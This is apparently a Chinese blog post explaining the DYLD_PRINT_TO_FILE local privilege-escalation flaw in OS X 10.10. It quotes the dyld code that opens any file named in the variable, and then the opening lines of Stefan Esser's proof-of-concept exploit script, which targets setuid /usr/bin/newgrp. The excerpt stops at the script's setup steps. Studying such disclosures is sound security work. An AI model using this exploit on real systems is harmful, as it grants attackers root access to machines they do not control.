DYLD全称dynamic link editor,听名字是实现类似动态链接库加载的东西,DYLD_PRINT_TO_FILE是苹果在OSX 10.10加入的一个新特性,主要功能是实现将dyld进程的错误日志重定向到此环境变量指定的可写文件。不过添加这个特性的时候貌似没把它加在有安全验证的代码范围内而是直接写在dyld的main里了。。
1 2 3 4 5 6 7 8 9 10 11 12
//大致添加的代码 constchar* loggingPath = _simple_getenv(envp, "DYLD_PRINT_TO_FILE"); if ( loggingPath != NULL ) { int fd = open(loggingPath, O_WRONLY | O_CREAT | O_APPEND, 0644); if ( fd != -1 ) { sLogfile = fd; sLogToFile = true; } else { dyld::log("dyld: could not open DYLD_PRINT_TO_FILE='%s', errno=%d\n", loggingPath, errno); } }
#!/bin/sh # Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE # local privilege escalation vulnerability in OS X 10.10 - 10.10.4 # (C) Copyright 2015 Stefan Esser <[email protected]> # Wait months for a fix from Apple or install the following KEXT as protection # https://github.com/sektioneins/SUIDGuard # Use at your own risk. This copies files around with root permissions, # overwrites them and deletes them afterwards. Any glitch could corrupt your # system. So you have been warned. SUIDVICTIM=/usr/bin/newgrp # why even try to prevent a race condition? TARGET=`pwd`/tmpXXXXX rm -rf $TARGET mkdir $TARGET